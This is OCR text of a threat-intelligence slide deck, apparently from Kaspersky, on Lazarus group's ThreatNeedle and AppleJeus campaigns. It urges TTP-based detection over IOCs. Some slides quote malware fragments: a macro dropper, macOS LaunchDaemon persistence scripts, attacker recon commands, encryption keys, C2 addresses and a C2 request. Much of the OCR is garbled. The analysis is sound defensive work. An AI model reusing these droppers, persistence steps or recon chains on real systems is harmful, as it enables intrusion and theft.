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Adva nCEd Pe rSiSte nt Th reat Kaspersky’s Global Research and Analysis team (GReAT)

is well-known for discovery and dissemination of the most

Landscape in 2019 advanced cyberthreats.

Top 10 targets:
Government

® Diplomatic

@ Energy
Military

@ Telecommunications

Financial institutions

Banks

@ Educational

Defense

Top 12 targeted countries:

Crypto currency business

Top 10 significant threat actors:

@ Lazarus
@ Barium
@ Turla

@ BlueNoroff

@ Zebrocy

apt.securelist.com

@ Lamberts

(7) APT10
OrigamiElephant
(9) oilRig
HoneyMyte

According to their data, in 2019 the top targets for Advanced
Persistent Threats (APT) were governments,
and the most significant threat actor was Lazarus.
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Aganda

campaigns = [“ThreatNeedle”, “AppleJeus™]

campaign in campaigns:
( , TTP_of_each_phase)

what_we_missed()
how_can_we_react()

question()



Lazal‘us gl‘Oup (ThreatNeedle campaign) Lazarus (ak.aHidden cobra)

* Published by Novettain 2014

Adversary
« Has several campaigns
 Compromised Windows %
server
« Compromised IIS sever
* Vulnerable Wordpress site
Infrastructure T {@3 Capability
» Weaponized document
» Manuscrypt/ThreatNeedle
» Multi-stage component
« Cryptocurrency business * Installer, Loader,Injector,
« Mobile application company '@' Backdoor

Victim



ThreatNeedle campaign
Delivery

Executable file type initialinfection vector

o Troniz :
Victim o e.d File name
Application

Hong Kong WeChat messenger wechat.exe
1.0penVPN-insta PrimeCA.crt
1I-2.4.4-1602.exe

: 1.0penVPN-install-
Hong Kon nVPN client
ong tong Ope cle 2.4.4-1602.exe
<
South Korea Rohos LogonKey | rohos_welcome.exe rohos_welcome.e

Data collection

m



ThreatNeedle campaign
Delivery Data: Shar TextRangs>

Dim bin(214015) As Byte
nSize = 214015

Macro embedded office document

. oObject.SaveAs Environ("tempX) & "\" & ThisDocument.Name
oObject.Close
Set 0Object = Nothing

@ LGHx}

End With

SO />

Open Path For Binary Lo rite As #1

For inx =0 To nSize
bin(inx) = CB
bin(inx

" + Mid(Data, inx *2 +1,2))

Next inx

m

Data collection




ThreatNeedle campaign

Binary infection

Multi-stage infection E E

2. Send triage info C2 Server C2 Server
3. Fetch next payload

Els 1. Create @@ @@ 5. C2 operation

Initial infection 4.Inject the payload

vector ThreatNeedle ThreatNeedle
Downloader Backdoor

TR

(Service type) Kevl
ThreatNeedle ) 086°

backdoor




ThreatNeedle campaign

Binary infection

Advanced multi-stage infection E E

2. Fetch the key C2 Server C2 Server
1. Drop file @ @
@ 4.Inject the payload @ 6. C2 operation
Office document ThreatNeedle explorer.exe
with macro Injector

3. Decrypt embedded
payload
5. Decrypt ThreatNeedle
in-memory backdoor




ThreatNeedle campaign

Post exploitation

Basic information reconnaissance

Recon commands from case #1

cmd.exe /c netstat -ano| find "EST" > %appdata%\Temp\TMP1.tmp 2>&1
cmd.exe /c netstat -ano > %temp%\ TMP1.tmp 2>&1

cmd.exe /c dir tmp*.tmp > %temp%\ TMP1.tmp 2>&1

cmd.exe /c net use > %temp%\~BITO27E.TMP 2>&1

cmd.exe /c whoami > %temp%\ TMP1tmp 2>&1

cmd.exe /cipconfig /all > %temp%\TMP1.tmp 2>&1

cmd.exe /c chep > %temp%\ TMP1.tmp 2>&1




ThreatNeedle campaign
€& Timeline

Possibly attacker was in GMT+8 ~ GMT+9 timezone




ThreatNeedle campaign

c . . McAfee blog: https://www.mcafee.com/blogs/other-blogs/mcafee-labs/malbus-
D& F rom W N d OWS t (@) A N d rFol d popular-south-korean-bus-app-series-in-google-play-found-dropping-malware-

after-5-years-of-development/

Connection with Malbusimobile campaign

loc 180001340: identifier Windows ThreatNeedle Malbus payload
XORwith - 1 Send specific fileto C2 server
' short loc 180001340 |
Y Download file from C2 server
3 Compress directory and send to C2 server
4 Delete file
5 Copy givenfille’s

, | attribution to another
EEncodewithE TR 6

Directory listin
Basebd Y g

Ox1B Download kakao.property

Ox1C Upload skt.property file

Payload of Malbus campaign Payload of ThreatNeedle 0)'CY4 Send compromised System general information



Lazal‘us gl‘Oup (Operation AppleJeus)

Commercial hosting service

Fake company website

Infrastructure

Cryptocurrency business

Adversary

&

®

Victim

Lazarus(a.k.a Hidden cobra)

Published by Kaspersky in
2018

AppleJeus sequel was
published in 2020

{@3 Capability

Fake cryptocurrency related
application

e macOS malware

* Notwell known homemade
backdoor



AppleJeus campaign

< Delivery

Induce user install manipulated application via email /SNS

A & john - Celas Trade
Interface  Help
| © 6 [Balance 5 69| [Total at Last Price 3| [Total at Ask/Eid Price @ 50

/ e » | X gitcoin Arbitrager
4 D‘ ’1 Cyptian Home About White Paper TokenSale Roadmap Team APP FAQ Contact ) - .
Smbol: | v 8TC Price Chart
P ~ Poloniex ~ — Binance
> . Your Open Order:
QU Union Crypto Trader MOME  ROADMAP  CONTACTUS N Fiter:
- i

Fa g s &

Theu Ac Bitfinex Kraken Binance Gemini §
bre = E
CEL I n
Sifting
From

Mana

Buy Bitcoin

Total to spenc

g

-4 EXCHANGES, 3 ARBITRAGE STRATEGIES, AUTOMATED BOT TRADING, BITCOIN ;
FUTURES SPREAD TRA : zer0 prfitSteg

Generate subseq

Data collection Leave silent



AppleJeus campaign

#! /bin/sh

macOS malware mv

/Applications/CelasTradePro.app/Contents/Resources/.com.celastrad

epro.plist /Library/LaunchDaemons/com.celastradepro.plist

/Applications/CelasTradePro.app/Contents/MacOS/Updater
CheckUpdate &

. #!/bin/sh ‘

Send triage info

First macOS malware of Lazarus group

C&C server r/nA\‘IppIications/ UnionCryptoTrader.app/Contents/Resources/.vip.union
n crypto.plist /Library/LaunchDaemons/vip.unioncrypto.plist
644 /Library/LaunchDaemons/vip.unioncrypto.plist
Deliver next payload mkdir /Library/UnionCrypto
O mv
@ /Applications/UnionCryptoTrader.app/Contents/Resources/.unioncry
ptoupdater /Library/UnionCrypto/unioncryptoupdater
2rd macOS /Library/UnionCrypto/unioncryptoupdater
payload /Library/UnionCrypto/unioncryptoupdater &

m



AppleJeus campaign

macOS malware

Continuous macOS malware

AppleJdeus WbBot Maclnstaller
PKG file name CelasTradePro.pkg WbBot.pkg BitcoinTrader.pkg
Packaging time 2018-07-1214:09:33 2018-11-05 6:11:38 2018-12-19 0:15:19
XOR key Moz&Wie;#t/6T'2y 6E"uAVd-"yYkB-XG 6E"uAVd-"yYkB-XG
RC4 key W29ab@ad%Df324V$Yd SkQpTUT8QEY&Lg+BpB SkQpTUT8QEY&Lg+BpB
2nd payload path [var/zdiffsec /var/pkglibcert /var/pkglibcert
Cmdline param bf6a0c760ccé42 bf6a0c760cc642 bf6a0c760cc642

m



AppleJeus campaign

Windows malware

Multi-stage infection

E Fallchill loader

Send triage info
C2Server

Random

\I/ f_N arbage data
|9 ~/ S

Manipulated @ . @
Application update.exe @ j.) 16 byteskey @
- 16 bytes key file Encrypted .
Fallchill y y backdoor file Fallchill
Installer T Backdoor
Fallchill
Loader

m



AppleJeus campaign

Windows malware

Advanced multi-stage infection

B B

C2 server C2 server
Command

@ Loads @ and Control
S @@ @ Loads

.NET Loader

injects Tainted Loader(rasext.dll)

update.exe % .
iexplorer.exe
Encrypted .cfg file Z)

Encrypted msctfp.datfile

m




AppleJeus campaign

Commercial hosting service

Hosting service

185.243.115.17

* Blackhost
« Liberty VPS

®
eropl

roplans.info ~ invesuccess .com www (4 an. 172.81.135.194

® Domainregistrationservice

2.255.119.40 198.187.29.20 unioncrypto.vip 199.188.200.56

« Domains4Bitcoins
 NameCheap
104.16.‘?‘1;&3»?;176;7 198,;5133.27 1084174t954134 happys : ’ 2 oulinger@hotmail.com 3% 104.162?.218442 ° Changelp

* Nijalla

Hostwinds LLC

Data collection Implant



AppleJeus campaign

HTTP based communication

Authentication mechanism

POST /update HTTP /1.1
Connection: Keep-Alive
Content-Type: application/x-www-form-urlencoded

User-Agent: Mozilla/5.0 (Windows NT 10.0; Winé4; x64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/75.0.3770.142 Safari/537.36

Content-Length: 110
Host: unioncrypto.vip

Data collection Implant



AppleJeus campaign

Post exploitation

Basic information reconnaissance

Recon commands

cmd.exe /c netstat -ano| findstr EST
cmd.exe /c ver

cmd.exe /cdirc:\

cmd.exe /c net session

cmd.exe /carp-a

cmd.exe /c ping -n 110.10.[redacted]

cmd.exe /c netstat -ano | findstr LIST




AppleJeus campaign

Continous attack

Keep evolving macOS & Windows malware

UnionCryptoTrader
Windows malware
compiled

7 August, 2019

JMTTrader macOS
malware packaged
29 July, 2019

Unio
nCry
ptoTr
ader
macO

WFCWallet Windows malware compiled S
19 March, 2019 malw
are
’ CelasTradePro macOS malware signed Maclinstaller macOS malware packaged pack
12 July, 2018 19 December, 2018 aged
17
CelasTradePro Windowns malware MarkMakingBot macOS malware Septe
> compiled WbBot macOS malware packaged packaged mber,
13 June, 2018 5 November, 2018 12 March, 2019 2019

4 5015 @ Q3

Q2 ‘QS
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Factfullness of threat intelligence
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Challenging

Annoying

Simple

Easy IP Addresses

. / S \_

Source: https://azeria-labs.com/iocs-vs-ttps/
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TTPs

Tools

Artifacts

Domain
Names

IP
Addresses

Hashes

Best

Recon

Weaponize

Good

Deliver

Worst

Best

Exploit

Good

Control

Excute

Maintain
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A o aNd SIgMma 2
Initial Access Execution Persistence Privilege Escalation | Defense Evasion Credential Access | Discovery Lateral Movement | Collection
|11 items 28 items 44 items 23 items 60 items 18 items 23 items 16 items 13 items
Drive-by Compromise CMSTP Accessibility Features Access Token Manipulation | Access Token Manipulation | Account Manipulation Account Discove égﬁ,'ﬁr%“" Deployment {450 Capture
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Mshta Create Account DCShadow JYNST-NS Foisoning | Query Registry Taint Shared Content
PowerShell LL o %’Ch Urder Parent FID Spoofing Eeﬁ#(%ig'nﬂeuﬂe Files Remate System Discovery | Third-party Software
Regsves/Regasm External Remote Services | Path Interception Disabling Security Tools | Password Filter DLL st%ﬂt'ér?“m are Windows Admin Shares
Regsvia2 %’" Permissions | port Monitors E’%ﬁn Order Private Keys Software Discovery ote
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Domain Fronting

Email Collection

Mo Prosy

Screen Capiure

VSIC
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Scheduled Transfer

Fallback Channels

Multi-Siage Channels
Multiband Communication

Scripting

Hwemsor

Scheduled Task

Logon Scriplts

EEMCE Regﬁ!!;

;¥ loitation for Uefense
e EHiE 1

SID-History Injection

mr, ndow Memaory
anlean irectory

User Execufion New Service
NINdows Managemen Office Application Stariup

gned Scnpt Froxy LSASS Driver Valid Accounts File Deletion
Third-party Software Modify Existing Service Web Shell File System Logical Offsets
Trusted Developer Ulilities | Netsh Helper DLL Group Palicy Modification

Bisaes

NOOWS Remote
fajgemen

Path Interceplion

Hidden Window

! ﬁe F !E, ﬁ&dﬂ]ﬂn

E%I'IHECWJHS &kCWEW

B\{sséan Owmer/User
OVery

System Service Discovery

System Time Discovery

EjﬂuaﬁzahomSandbox

Multilayer Encryption
Remote Access Tools

Remote File Copy
ﬁa{ldad Application Layer

Unr:orrmoniy Used Port
Web Service
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IOC based detection vs TTP based detectoin

Implant

Recon &
Expand

|IOC based detection

o . Hash of each samples
Initial infection :
. Email address

Hash of each samples
" File path, Mutex,
. Registry path, C&C server |

N/A

TTP

Spearphishing
' Telegram

' Process injection
' Reflective loading

Execute Windows
commands via backdoor

TTP based detection

. Prohibit telegram
' Enhance monitoring telegram

' Detect when iexplorer.exe
. process tainted

' Detect when .cfg or .dat file
' loaded from same path and starts
. network communication

. Detect when iexplorer.exe
| process executes any
. Windows command



Conclusion

Threat

Elg Intelligenceis

not only IOCs

Hash, C2 addressis
not everything of
Threat Intelligence

: ‘\
Threat intelligence ig
not only for rapid

response >

Actlonable item

tha Slgma ruIe
Snort/Suricata,
- ATT&CK

Pay attention
# to the trend
and the change

Important to

"~ understand

attacker’s TTPs

Need adaptive
requirement-based
threat intelligence



Question?

g @unpacker

% seongsu.park@kaspersky.com

kky



